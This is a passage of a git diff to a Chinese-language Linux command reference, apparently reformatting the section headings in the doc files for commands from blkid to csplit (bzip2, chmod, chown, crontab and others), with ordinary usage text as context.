] [-S ][-o] ... blkid -i [-s ] [-o] ... ``` -### 选项 +### 选项 ```shell -c # 指定cache文件(default: /etc/blkid.tab, /dev/null = none) @@ -42,7 +42,7 @@ Low-level probing options: -n # filter by filesystem type (e.g. -n vfat,ext3) ``` -### 实例 +### 实例 1、列出当前系统中所有已挂载文件系统的类型： diff --git a/command/blockdev.md b/command/blockdev.md index 7560baeacd3..ba468f44e87 100644 --- a/command/blockdev.md +++ b/command/blockdev.md @@ -7,7 +7,7 @@ blockdev **blockdev命令** 在命令调用“ioxtls”函数，以实现对设备的控制。 -### 语法 +### 语法 ```shell blockdev(选项)(参数) @@ -27,11 +27,11 @@ blockdev(选项)(参数) --rereadpt：重新读取分区表。 ``` -### 参数 +### 参数 设备文件名：指定要操作的磁盘的设备文件名。 -### 实例 +### 实例 设置设备为只读： diff --git a/command/bmodinfo.md b/command/bmodinfo.md index abbf40f08a6..99c5239a556 100644 --- a/command/bmodinfo.md +++ b/command/bmodinfo.md @@ -7,13 +7,13 @@ bmodinfo **bmodinfo命令** 用于显示给定模块的详细信息。 -### 语法 +### 语法 ```shell bmodinfo(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：显示模块作者； @@ -24,11 +24,11 @@ bmodinfo(选项)(参数) -0：用ASCII码的0字符分割字段值，而不使用新行。 ``` -### 参数 +### 参数 模块名：要显示详细信息的模块名称。 -### 实例 +### 实例 显示sg模块的信息： diff --git a/command/builtin.md b/command/builtin.md index 065c977cb36..228362bed6f 100644 --- a/command/builtin.md +++ b/command/builtin.md @@ -7,17 +7,17 @@ builtin **builtin命令** 用于执行指定的shell内部命令，并返回内部命令的返回值。builtin命令在使用时，将不能够再使用Linux中的外部命令。当系统中定义了与shell内部命令相同的函数时，使用builtin显式地执行shell内部命令，从而忽略定义的shell函数。 -### 语法 +### 语法 ```shell builtin(参数) ``` -### 参数 +### 参数 shell内部命令：指定需要执行的shell内部命令。 -### 实例 +### 实例 使用builtin命令执行shell内部命alias显示命令别名，输入如下命令： diff --git a/command/bunzip2.md b/command/bunzip2.md index 7529e006f3a..53f65fc8214 100644 --- a/command/bunzip2.md +++ b/command/bunzip2.md @@ -7,13 +7,13 @@ bunzip2 **bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接，即软链接，因此压缩解压都可以通过bzip2实现。 -### 语法 +### 语法 ```shell bunzip2(选项)(参数) ``` -### 选项 +### 选项 ```shell -f或--force：解压缩时，若输出的文件与现有文件同名时，预设不会覆盖现有的文件； @@ -23,11 +23,11 @@ bunzip2(选项)(参数) -l，--license，-V或——version：显示版本信息。 ``` -### 参数 +### 参数 .bz2压缩包：指定需要解压缩的.bz2压缩包。 -### 实例 +### 实例 将`/opt`目录下的etc.zip、var.zip和backup.zip进行压缩，设置压缩率为最高，同时在压缩完毕后不删除原始文件，显示压缩过程的详细信息。 diff --git a/command/bye.md b/command/bye.md index 578f4932988..f28fc9d6d4f 100644 --- a/command/bye.md +++ b/command/bye.md @@ -8,7 +8,7 @@ bye **bye命令** 在ftp模式下，输入bye即可中断目前的连线作业，并结束ftp的执行。 -### 语法 +### 语法 ```shell bye diff --git a/command/bzcat.md b/command/bzcat.md index 43095c8051d..cdce2c1a912 100644 --- a/command/bzcat.md +++ b/command/bzcat.md @@ -7,17 +7,17 @@ bzcat **bzcat命令** 解压缩指定的.bz2文件，并显示解压缩后的文件内容。保留原压缩文件，并且不生成解压缩后的文件。 -### 语法 +### 语法 ```shell bzcat(参数) ``` -### 参数 +### 参数 .bz2压缩文件：指定要显示内容的.bz2压缩文件。 -### 实例 +### 实例 将`/tmp/man.config`以bzip2格式压缩： diff --git a/command/bzcmp.md b/command/bzcmp.md index b5523b0f0d8..2344da7c7d3 100644 --- a/command/bzcmp.md +++ b/command/bzcmp.md @@ -7,13 +7,13 @@ bzcmp **bzcmp命令** 主要功能是在不真正解压缩.bz2压缩包的情况下，比较两个压缩包中的文件，省去了解压缩后在调用cmp命令的过程。 -### 语法 +### 语法 ```shell bzcmp(参数) ``` -### 参数 +### 参数 * 文件1：指定要比较的第一个.bz2压缩包； * 文件2：指定要比较的第二个.bz2压缩包。 diff --git a/command/bzdiff.md b/command/bzdiff.md index ebe581f0217..6959aa4e62e 100644 --- a/command/bzdiff.md +++ b/command/bzdiff.md @@ -7,13 +7,13 @@ bzdiff **bzdiff命令** 用于直接比较两个“.bz2”压缩包中文件的不同，省去了解压缩后再调用diff命令的过程。 -### 语法 +### 语法 ```shell bzdiff(参数) ``` -### 参数 +### 参数 * 文件1：指定要比较的第一个.bz2压缩包； * 文件2：指定要比较的第二个.bz2压缩包。 diff --git a/command/bzgrep.md b/command/bzgrep.md index 59bf889fc27..66ed2837ef8 100644 --- a/command/bzgrep.md +++ b/command/bzgrep.md @@ -7,13 +7,13 @@ bzgrep **bzgrep命令** 使用正则表达式搜索“.bz2”压缩包中文件，将匹配的行显示到标注输出。 -### 语法 +### 语法 ```shell bzgrep(参数) ``` -### 参数 +### 参数 * 搜索模式：指定要搜索的模式； * .bz2文件：指定要搜索的.bz2压缩包。 diff --git a/command/bzip2.md b/command/bzip2.md index 4a7d576b1b2..a81b102622d 100644 --- a/command/bzip2.md +++ b/command/bzip2.md @@ -35,13 +35,13 @@ bzip2 采用 32 位 CRC 校验码作自我检查，以确认解压后的文件 返回值：正常退出返回 0， 出现环境问题返回 1 （文件未找到，非法的选项，I/O错误等）， 返回 2 表明压缩文件损坏，出现导致 bzip2 紧急退出的内部一致性错误（例如缺陷）时返回 3。 -### 语法 +### 语法 ```shell bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ... ] ``` -### 选项 +### 选项 ```shell -c --stdout @@ -88,11 +88,11 @@ bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ... ] # 及其以上版本采用了改进的算法而与这些选项无关。 ``` -### 参数 +### 参数 文件：指定要压缩的文件。 -### 实例 +### 实例 **压缩指定文件filename:** diff --git a/command/bzip2recover.md b/command/bzip2recover.md index bd2bc8193ef..0e3553193ef 100644 --- a/command/bzip2recover.md +++ b/command/bzip2recover.md @@ -9,13 +9,13 @@ bzip2recover bzip2是以区块的方式来压缩文件，每个区块视为独立的单位。因此，当某一区块损坏时，便可利用bzip2recover，试着将文件中的区块隔开来，以便解压缩正常的区块。通常只适用在压缩文件很大的情况。 -### 语法 +### 语法 ```shell bzip2recover(参数) ``` -### 参数 +### 参数 文件：指定要恢复数据的.bz2压缩包。 diff --git a/command/bzless.md b/command/bzless.md index 92d102ca902..5e2b6384061 100644 --- a/command/bzless.md +++ b/command/bzless.md @@ -7,13 +7,13 @@ bzless **bzless命令** 是增强“.bz2”压缩包查看器，bzless比bzmore命令功能更加强大。 -### 语法 +### 语法 ```shell bzless(参数) ``` -### 参数 +### 参数 文件：指定要分屏显示的.bz2压缩包。 diff --git a/command/bzmore.md b/command/bzmore.md index 1b4476c1419..8158c012a3f 100644 --- a/command/bzmore.md +++ b/command/bzmore.md @@ -7,13 +7,13 @@ bzmore **bzmore命令** 用于查看bzip2压缩过的文本文件的内容，当下一屏显示不下时可以实现分屏显示。 -### 语法 +### 语法 ```shell bzmore(参数) ``` -### 参数 +### 参数 文件：指定要分屏显示的.bz2压缩包。 diff --git a/command/cal.md b/command/cal.md index 959dd6fbb1d..8e2f35f41fc 100644 --- a/command/cal.md +++ b/command/cal.md @@ -15,13 +15,13 @@ cal 格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 天在这项改革被略去了, 所以那个月的日历有点不太寻常. -### 语法 +### 语法 ```shell cal [ -mjy ] [ 月份 ] [ 年份 ] ``` -### 选项 +### 选项 ```shell -l # 显示单月输出； @@ -32,14 +32,14 @@ cal [ -mjy ] [ 月份 ] [ 年份 ] -y # 显示当前年份的日历.. ``` -### 参数 +### 参数 ```shell 月：指定月份； 年：指定年份。 ``` -### 实例 +### 实例 单独执行cal命令会打印出日历： diff --git a/command/cancel.md b/command/cancel.md index f42343a01fa..6f399b5497e 100644 --- a/command/cancel.md +++ b/command/cancel.md @@ -7,13 +7,13 @@ cancel **cancel命令** 用于取消已存在的打印任务。 -### 语法 +### 语法 ```shell cancel(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：取消所有打印任务； @@ -23,7 +23,7 @@ cancel(选项)(参数) -h：指定连接的服务器名和端口号。 ``` -### 参数 +### 参数 打印任务号：指定要取消的打印任务编号。 diff --git a/command/cat.md b/command/cat.md index 1dd6f1d5dad..099e0d26dc9 100644 --- a/command/cat.md +++ b/command/cat.md @@ -9,13 +9,13 @@ cat 注意：当文件较大时，文本在屏幕上迅速闪过（滚屏），用户往往看不清所显示的内容。因此，一般用more等命令分屏显示。为了控制滚屏，可以按Ctrl+S键，停止滚屏；按Ctrl+Q键可以恢复滚屏。按Ctrl+C（中断）键可以终止该命令的执行，并且返回Shell提示符状态。 -### 语法 +### 语法 ```shell cat(选项)(参数) ``` -### 选项 +### 选项 ```shell -n或--number：从1开始对所有输出的行数编号； @@ -26,11 +26,11 @@ cat(选项)(参数) -t：等价于"-vT"选项； ``` -### 参数 +### 参数 文件列表：指定要连接的文件列表。 -### 实例 +### 实例 设m1和m2是当前目录下的两个文件 diff --git a/command/cd.md b/command/cd.md index d2fe50e249c..4ab5ce21418 100644 --- a/command/cd.md +++ b/command/cd.md @@ -7,13 +7,13 @@ cd **cd命令** 用来切换工作目录至dirname。 其中dirName表示法可为绝对路径或相对路径。若目录名称省略，则变换至使用者的home directory(也就是刚login时所在的目录)。另外，`~`也表示为home directory的意思，`.`则是表示目前所在的目录，`..`则表示目前目录位置的上一层目录。 -### 语法 +### 语法 ```shell cd (选项) (参数) ``` -### 选项 +### 选项 ```shell -p 如果要切换到的目标目录是一个符号连接，直接切换到符号连接指向的目标目录 @@ -21,7 +21,7 @@ cd (选项) (参数) - 当仅实用"-"一个选项时，当前工作目录将被切换到环境变量"OLDPWD"所表示的目录。 ``` -### 实例 +### 实例 ```shell cd # 进入用户主目录； diff --git a/command/cdrecord.md b/command/cdrecord.md index 344e66e6766..8227c9b8694 100644 --- a/command/cdrecord.md +++ b/command/cdrecord.md @@ -7,13 +7,13 @@ Linux系统下光盘刻录功能命令 **cdrecord命令** 用于Linux系统下光盘刻录，它支持cd和DVD格式。linux下一般都带有cdrecord软件。 -### 语法 +### 语法 ```shell cdrecord(选项)(参数) ``` -### 选项 +### 选项 ```shell -v：显示刻录光盘的详细过程； @@ -23,11 +23,11 @@ dev=<刻录机设备号>：指定使用“-scanbus”参数扫描到的刻录机 -scanbus：扫描系统中可用的刻录机。 ``` -### 参数 +### 参数 ISO文件：指定刻录光盘使用的ISO映像文件。 -### 实例 +### 实例 查看系统所有 CD-R(w) 设备： diff --git a/command/chage.md b/command/chage.md index 578b5afdd18..cee31ed9e6e 100644 --- a/command/chage.md +++ b/command/chage.md @@ -7,13 +7,13 @@ chage **chage命令** 是用来修改帐号和密码的有效期限。 -### 语法 +### 语法 ```shell chage [选项] 用户名 ``` -### 选项 +### 选项 ```shell -m：密码可更改的最小天数。为零时代表任何时候都可以更改密码。 @@ -25,7 +25,7 @@ chage [选项] 用户名 -l：例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。 ``` -### 实例 +### 实例 可以编辑`/etc/login.defs`来设定几个参数，以后设置口令默认就按照参数设定为准： diff --git a/command/chattr.md b/command/chattr.md index 376cf19a6a7..6ffe5c2e906 100644 --- a/command/chattr.md +++ b/command/chattr.md @@ -7,13 +7,13 @@ chattr **chattr命令** 用来改变文件属性。这项指令可改变存放在ext2文件系统上的文件或目录属性，这些属性共有以下8种模式： -### 语法 +### 语法 ```shell chattr(选项) ``` -### 选项 +### 选项 ```shell a：让文件或目录仅供附加用途； @@ -35,7 +35,7 @@ u：预防意外删除。 =<属性>：指定文件或目录的该项属性。 ``` -### 实例 +### 实例 用chattr命令防止系统中某个关键文件被修改： diff --git a/command/chcon.md b/command/chcon.md index cefd3300691..cb7d642df30 100644 --- a/command/chcon.md +++ b/command/chcon.md @@ -7,7 +7,7 @@ chcon **chcon命令** 是修改对象（文件）的安全上下文，比如：用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用`--reference`选项时，把指定文件的安全环境设置为与参考文件相同。chcon命令位于`/usr/bin/chcon`。 -### 语法 +### 语法 ```shell chcon [选项]... 环境 文件... @@ -15,7 +15,7 @@ chcon [选项]... [-u 用户] [-r 角色] [-l 范围] [-t 类型] 文件... chcon [选项]... --reference=参考文件 文件... ``` -### 选项 +### 选项 ```shell -h, --no-dereference：影响符号连接而非引用的文件。 @@ -38,7 +38,7 @@ chcon [选项]... --reference=参考文件 文件... --version：显示版本信息并退出。 ``` -### 实例 +### 实例 如果你想把这个ftp共享给匿名用户的话，需要开启以下： diff --git a/command/chfn.md b/command/chfn.md index 3c43cc80a0d..0fcbc38367c 100644 --- a/command/chfn.md +++ b/command/chfn.md @@ -7,13 +7,13 @@ chfn **chfn命令** 用来改变finger命令显示的信息。这些信息都存放在/etc目录里的passwd文件里。若不指定任何选项，则chfn命令会进入问答式界面。 -### 语法 +### 语法 ```shell chfn(选项)(参数) ``` -### 选项 +### 选项 ```shell -f<真实姓名>或--full-name<真实姓名>：设置真实姓名； @@ -24,11 +24,11 @@ chfn(选项)(参数) -v或-version：显示版本信息。 ``` -### 参数 +### 参数 用户名：指定要改变finger信息的用户名。 -### 实例 +### 实例 范例1，改变finger信息： diff --git a/command/chgrp.md b/command/chgrp.md index 4e341bcd1fd..a397cdefb5f 100644 --- a/command/chgrp.md +++ b/command/chgrp.md @@ -9,13 +9,13 @@ chgrp 在UNIX系统家族里，文件或目录权限的掌控以拥有者及所属群组来管理。您可以使用chgrp指令去变更文件与目录的所属群组，设置方式采用群组名称或群组识别码皆可。 -### 语法 +### 语法 ```shell chgrp [选项][组群][文件|目录] ``` -### 选项 +### 选项 ```shell -R 递归式地改变指定目录及其下的所有子目录和文件的所属的组 @@ -30,12 +30,12 @@ chgrp [选项][组群][文件|目录] --reference=<参考文件或目录>：把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同； ``` -### 参数 +### 参数 * 组：指定新工作名称； * 文件：指定要改变所属组的文件列表。多个文件或者目录之间使用空格隔开。 -### 实例 +### 实例 将`/usr/meng`及其子目录下的所有文件的用户组改为mengxin diff --git a/command/chkconfig.md b/command/chkconfig.md index 10bf33417b1..041125e4fd7 100644 --- a/command/chkconfig.md +++ b/command/chkconfig.md @@ -7,13 +7,13 @@ chkconfig **chkconfig命令** 检查、设置系统的各种服务。这是Red Hat公司遵循GPL规则所开发的程序，它可查询操作系统在每一个执行等级中会执行哪些系统服务，其中包括各类常驻服务。谨记chkconfig不是立即自动禁止或激活一个服务，它只是简单的改变了符号连接。 -### 语法 +### 语法 ```shell chkconfig(选项) ``` -### 选项 +### 选项 ```shell --add：增加所指定的系统服务，让chkconfig指令得以管理它，并同时在系统启动的叙述文件内增加相关数据； @@ -54,7 +54,7 @@ chkconfig(选项) # higher quality random number generation. ``` -### 实例 +### 实例 ```shell chkconfig --list #列出所有的系统服务。 diff --git a/command/chmod.md b/command/chmod.md index ad59e0a0a59..58ca665b108 100644 --- a/command/chmod.md +++ b/command/chmod.md @@ -19,13 +19,13 @@ chmod `-` 不具任何权限，数字代号为“0”； `s` 特殊功能说明：变更文件或目录的权限。 -### 语法 +### 语法 ``` chmod(选项)(参数) ``` -### 选项 +### 选项 ```shell u # 操作对象简称，用户user，文件或目录的所有者。 @@ -54,12 +54,12 @@ t # 权限设定，只有目录或文件的所有者才可以删除目录下的 --version # 显示版本信息 ``` -### 参数 +### 参数 权限模式：指定文件的权限模式； 文件：要改变权限的文件。 -### 知识扩展和实例 +### 知识扩展和实例 Linux用 户分为：拥有者、组群(Group)、其他（other），Linux系统中，预设的情況下，系统中所有的帐号与一般身份使用者，以及root的相关信 息， 都是记录在`/etc/passwd`文件中。每个人的密码则是记录在`/etc/shadow`文件下。 此外，所有的组群名称记录在`/etc/group`內！ diff --git a/command/chown.md b/command/chown.md index 7df71f4b593..f1284337909 100644 --- a/command/chown.md +++ b/command/chown.md @@ -9,13 +9,13 @@ chown 只有文件主和超级用户才可以便用该命令。 -### 语法 +### 语法 ```shell chown(选项)(参数) ``` -### 选项 +### 选项 ```shell -c或——changes：效果类似“-v”参数，但仅回报更改的部分； @@ -29,12 +29,12 @@ chown(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 用户：组：指定所有者和所属工作组。当省略“：组”，仅改变文件所有者； 文件：指定要改变所有者和工作组的文件列表。支持多个文件和目标，支持shell通配符。 -### 实例 +### 实例 将目录`/usr/meng`及其下面的所有文件、子目录的文件主改成 liu： diff --git a/command/chpasswd.md b/command/chpasswd.md index d897475ae1c..cc49b2b42ea 100644 --- a/command/chpasswd.md +++ b/command/chpasswd.md @@ -7,13 +7,13 @@ chpasswd **chpasswd命令** 是批量更新用户口令的工具，是把一个文件内容重新定向添加到`/etc/shadow`中。 -### 语法 +### 语法 ```shell chpasswd(选项) ``` -### 选项 +### 选项 ```shell -e：输入的密码是加密后的密文； @@ -21,7 +21,7 @@ chpasswd(选项) -m：当被支持的密码未被加密时，使用MD5加密代替DES加密。 ``` -### 实例 +### 实例 先创建用户密码对应文件，格式为`username:password`，如`abc:abc123`，必须以这种格式来书写，并且不能有空行，保存成文本文件user.txt，然后执行chpasswd命令： diff --git a/command/chroot.md b/command/chroot.md index de1449e66cc..ab9e997a32c 100644 --- a/command/chroot.md +++ b/command/chroot.md @@ -21,25 +21,25 @@ chroot chroot 的作用就是切换系统的根位置，而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用，从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init。另外，当系统出现一些问题时，我们也可以使用 chroot 来切换到一个临时的系统。 -### 语法 +### 语法 ```shell chroot(选项)(参数) ``` -### 选项 +### 选项 ```shell --help：在线帮助； --version：显示版本信息。 ``` -### 参数 +### 参数 * 目录：指定新的根目录； * 指令：指定要执行的指令。 -### 实例 +### 实例 **将target作为根目录（运行其中的`/bin/sh`）:** diff --git a/command/chsh.md b/command/chsh.md index baa6545d317..88e99011fb0 100644 --- a/command/chsh.md +++ b/command/chsh.md @@ -7,13 +7,13 @@ chsh **chsh命令** 用来更换登录系统时使用的shell。若不指定任何参数与用户名称，则chsh会以应答的方式进行设置。 -### 语法 +### 语法 ```shell chsh(选项)(参数) ``` -### 选项 +### 选项 ```shell -s或--shell：更改系统预设的shell环境。； @@ -22,11 +22,11 @@ chsh(选项)(参数) -v或-version：显示版本信息。 ``` -### 参数 +### 参数 用户名：要改变默认shell的用户。 -### 实例 +### 实例 **查看系统安装了哪些shell的两种方法：** diff --git a/command/cksum.md b/command/cksum.md index c3b538ad0eb..8578333934f 100644 --- a/command/cksum.md +++ b/command/cksum.md @@ -11,24 +11,24 @@ cksum 指定文件交由cksum命令进行校验后，会返回校验结果供用户核对文件是否正确无误。若不指定任何文件名称或是所给予的文件名为"-"，则cksum命令会从标准输入设备中读取数据。 -### 语法 +### 语法 ```shell cksum(选项)(参数) ``` -### 选项 +### 选项 ```shell --help：在线帮助； --version：显示版本信息。 ``` -### 参数 +### 参数 文件：指定要计算校验的版本信息。 -### 实例 +### 实例 使用cksum命令计算文件"testfile1"的完整性，输入如下命令： diff --git a/command/clear.md b/command/clear.md index c8eaa0a976b..48caacc2bad 100644 --- a/command/clear.md +++ b/command/clear.md @@ -7,13 +7,13 @@ clear **clear命令** 用于清除当前屏幕终端上的任何信息。 -### 语法 +### 语法 ```shell clear ``` -### 实例 +### 实例 直接输入clear命令当前终端上的任何信息就可被清除。 diff --git a/command/clock.md b/command/clock.md index 688cef28a5f..f9697aa6cb8 100644 --- a/command/clock.md +++ b/command/clock.md @@ -7,14 +7,14 @@ clock **clock命令**用于调整 RTC 时间。 RTC 是电脑内建的硬件时间，执行这项指令可以显示现在时刻，调整硬件时钟的时间，将系统时间设成与硬件时钟之时间一致，或是把系统时间回存到硬件时钟。 -### 语法 +### 语法 ```shell clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"] [--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version] ``` -### 选项 +### 选项 ```shell --adjust 　第一次使用"--set"或"--systohc"参数设置硬件时钟，会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟，此文件便会记录两次调整间之差异，日后执行clock指令加上"--adjust"参数时，程序会自动根 据记录文件的数值差异，计算出平均值，自动调整硬件时钟的时间。 diff --git a/command/clockdiff.md b/command/clockdiff.md index dfda023f289..6f11e1364d1 100644 --- a/command/clockdiff.md +++ b/command/clockdiff.md @@ -7,14 +7,14 @@ clockdiff 在ip报文的首部和ICMP报文的首部都可以放入时间戳数据。 **clockdiff** 程序正是使用时间戳来测算目的主机和本地主机的系统时间差。 -### 选项 +### 选项 ```shell -o：使用IP时间戳选项来测量系统时间差。时间戳只用3个。 -o1：使用IP时间戳选项来测量系统时间差。用4个时间戳。如果-o和-o1都没有设置，那么就是用ICMP时间戳来测试系统时间差。 ``` -### 实例 +### 实例 ```shell lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1 diff --git a/command/cmp.md b/command/cmp.md index d8758e2fec5..50f437c7971 100644 --- a/command/cmp.md +++ b/command/cmp.md @@ -7,13 +7,13 @@ cmp **cmp命令** 用来比较两个文件是否有差异。当相互比较的两个文件完全一样时，则该指令不会显示任何信息。若发现有差异，预设会标示出第一个不通之处的字符和列数编号。若不指定任何文件名称或是所给予的文件名为“-”，则cmp指令会从标准输入设备读取数据。 -### 语法 +### 语法 ```shell cmp(选项)(参数) ``` -### 选项 +### 选项 ```shell -c或--print-chars：除了标明差异处的十进制字码之外，一并显示该字符所对应字符； @@ -24,11 +24,11 @@ cmp(选项)(参数) --help：在线帮助。 ``` -### 参数 +### 参数 目录：比较两个文件的差异。 -### 实例 +### 实例 使用cmp命令比较文件"testfile"和文件"testfile1"两个文件，则输入下面的命令： diff --git a/command/col.md b/command/col.md index 6c8875cf877..816350f8a9d 100644 --- a/command/col.md +++ b/command/col.md @@ -7,13 +7,13 @@ col **col命令** 是一个标准输入文本过滤器，它从标注输入设备读取文本内容，并把内容显示到标注输出设备。在许多UNIX说明文件里，都有RLF控制字符。当我们运用shell特殊字符`>`和`>>`，把说明文件的内容输出成纯文本文件时，控制字符会变成乱码，col命令则能有效滤除这些控制字符。 -### 语法 +### 语法 ```shell col(选项) ``` -### 选项 +### 选项 ```shell -b：过滤掉所有的控制字符，包括RLF和HRLF； diff --git a/command/colrm.md b/command/colrm.md index c59468b9bee..9e9b02e38fb 100644 --- a/command/colrm.md +++ b/command/colrm.md @@ -7,13 +7,13 @@ colrm **colrm命令** 用于删除文件中的指定列。colrm命令从标准输入设备读取书记，转而输出到标准输出设备。如果不加任何参数，则colrm命令不会过滤任何一行。 -### 语法 +### 语法 ```shell colrm(参数) ``` -### 参数 +### 参数 * 起始列号：指定要删除的指定列； * 结尾列号：指定要删除的结尾列。 diff --git a/command/comm.md b/command/comm.md index 9379c1290d1..40ed63f3483 100644 --- a/command/comm.md +++ b/command/comm.md @@ -11,13 +11,13 @@ comm * 求差：打印出指定文件所包含的且不相同的行。 * 差集：打印出包含在一个文件中，但不包含在其他指定文件中的行。 -### 语法 +### 语法 ```shell comm [选项]... 文件1 文件2 ``` -### 选项 +### 选项 ```shell 如果不附带选项，程序会生成三列输出。 @@ -34,12 +34,12 @@ comm [选项]... 文件1 文件2 --output-delimiter=STR 依照STR 分列 ``` -### 参数 +### 参数 * 文件1：指定要比较的第一个**有序**文件； * 文件2：指定要比较的第二个**有序**文件。 -### 实例 +### 实例 文本 `aaa.txt` 内容 diff --git a/command/command.md b/command/command.md index 5c46a7850f1..31f29182365 100644 --- a/command/command.md +++ b/command/command.md @@ -7,17 +7,17 @@ command **command命令** 调用指定的指令并执行，命令执行时不查询shell函数。command命令只能够执行shell内部的命令。 -### 语法 +### 语法 ```shell command(参数) ``` -### 参数 +### 参数 指令：需要调用的指令及参数。 -### 实例 +### 实例 使用command命令调用执行`echo Linux`，输入如下命令： diff --git a/command/compress.md b/command/compress.md index b960614c66a..9ea390e7b37 100644 --- a/command/compress.md +++ b/command/compress.md @@ -7,13 +7,13 @@ compress **compress命令** 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序，文件经它压缩后，其名称后面会多出".Z"的扩展名。当要解压缩时，可执行uncompress指令。事实上uncompress是指向compress的符号连接，因此不论是压缩或解压缩，都可通过compress指令单独完成。 -### 语法 +### 语法 ```shell compress(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：不提示用户，强制覆盖掉目标文件； @@ -25,11 +25,11 @@ compress(选项)(参数) -V：显示指令版本及程序预设值。 ``` -### 参数 +### 参数 文件：指定要压缩的文件列表。 -### 实例 +### 实例 将`/etc/man.config`复到`/tmp` ，并加以压缩 diff --git a/command/consoletype.md b/command/consoletype.md index f5323cc5ff1..dfe0ced7ec5 100644 --- a/command/consoletype.md +++ b/command/consoletype.md @@ -7,13 +7,13 @@ consoletype **consoletype命令** 用于打印已连接的终端类型到标准输出，并能够检查已连接的终端是当前终端还是虚拟终端。 -### 语法 +### 语法 ```shell consoletype ``` -### 实例 +### 实例 ```shell [root@localhost ~]# consoletype diff --git a/command/convertquota.md b/command/convertquota.md index a5602c6727c..bc8a5ea19d9 100644 --- a/command/convertquota.md +++ b/command/convertquota.md @@ -7,13 +7,13 @@ convertquota **convertquota命令** 用于将老的磁盘额数据文件（“quota.user”和“quota.group”）转换为新格式的文件（“quota.user”和“quota.group”）。 -### 语法 +### 语法 ```shell convertquota(选项)(参数) ``` -### 选项 +### 选项 ```shell -u：仅转换用户磁盘配额数据文件； @@ -22,11 +22,11 @@ convertquota(选项)(参数) -e：将新的文件格式从大字节序换为小字节序。 ``` -### 参数 +### 参数 文件系统：指定要转换磁盘配额数据文件格式的文件系统（硬盘分区）。 -### 实例 +### 实例 使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件。在命令行中输入下面的命令： diff --git a/command/cp.md b/command/cp.md index 807c47dc965..bc003641a25 100644 --- a/command/cp.md +++ b/command/cp.md @@ -7,13 +7,13 @@ cp **cp命令** 用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件，当一次复制多个文件时，目标文件参数必须是一个已经存在的目录，否则将出现错误。 -### 语法 +### 语法 ```shell cp(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：此参数的效果和同时指定"-dpR"参数相同； @@ -30,12 +30,12 @@ cp(选项)(参数) -v：详细显示命令执行的操作。 ``` -### 参数 +### 参数 * 源文件：制定源文件列表。默认情况下，cp命令不能复制目录，如果要复制目录，则必须使用`-R`选项； * 目标文件：指定目标文件。当“源文件”为多个文件时，要求“目标文件”为指定的目录。 -### 实例 +### 实例 下面的第一行中是 cp 命令和具体的参数（-r 是“递归”， -u 是“更新”，-v 是“详细”）。接下来的三行显示被复制文件的信息，最后一行显示命令行提示符。这样，只拷贝新的文件到我的存储设备上，我就使用 cp 的“更新”和“详细”选项。 diff --git a/command/cpio.md b/command/cpio.md index 2321897d65d..0423c564f9c 100644 --- a/command/cpio.md +++ b/command/cpio.md @@ -7,13 +7,13 @@ cpio **cpio命令** 主要是用来建立或者还原备份档的工具程序，cpio命令可以复制文件到归档包中，或者从归档包中复制文件。 -### 语法 +### 语法 ```shell cpio(选项) ``` -### 选项 +### 选项 ```shell -0或--null：接受新增列控制字符，通常配合find指令的“-print0”参数使用； @@ -58,7 +58,7 @@ cpio(选项) --version：显示版本信息。 ``` -### 实例 +### 实例 **将`/etc`下的所有普通文件都备份到`/opt/etc.cpio`，使用以下命令：** diff --git a/command/crontab.md b/command/crontab.md index e906741b090..bdcc7850db1 100644 --- a/command/crontab.md +++ b/command/crontab.md @@ -7,13 +7,13 @@ crontab **crontab命令** 被用来提交和管理用户的需要周期性执行的任务，与windows下的计划任务类似，当安装完成操作系统后，默认会安装此服务工具，并且会自动启动crond进程，crond进程每分钟会定期检查是否有要执行的任务，如果有要执行的任务，则自动执行该任务。 -### 语法 +### 语法 ```shell crontab(选项)(参数) ``` -### 选项 +### 选项 ```shell -e：编辑该用户的计时器设置； @@ -22,11 +22,11 @@ crontab(选项)(参数) -u<用户名称>：指定要设定计时器的用户名称。 ``` -### 参数 +### 参数 crontab文件：指定包含待执行任务的crontab文件。 -### 知识扩展 +### 知识扩展 Linux下的任务调度分为两类： **系统任务调度** 和 **用户任务调度** 。 @@ -111,7 +111,7 @@ ntsysv chkconfig –level 35 crond on ``` -### 实例 +### 实例 每1分钟执行一次command diff --git a/command/csplit.md b/command/csplit.md index 144e0a92e92..384710f74fe 100644 --- a/command/csplit.md +++ b/command/csplit.md @@ -7,13 +7,13 @@ csplit **csplit命令** 用于将一个大文件分割成小的碎片，并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”，“xx01”。csplit命令是split的一个变体，split只能够根据文件大小或行数来分割，但csplit能够根据文件本身特点来分割文件。 -### 语法 +### 语法 ```shell csplit(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<输出格式>或--suffix-format=<输出格式>：预设的输出格式其文件名称为xx00，xx01等，用户可以通过改变<输出格式>来改变输出的文件名； @@ -24,12 +24,12 @@ csplit(选项)(参数) -z或--elide-empty-files：删除长度为0 Byte文件。 ``` -### 参数 +### 参数 * 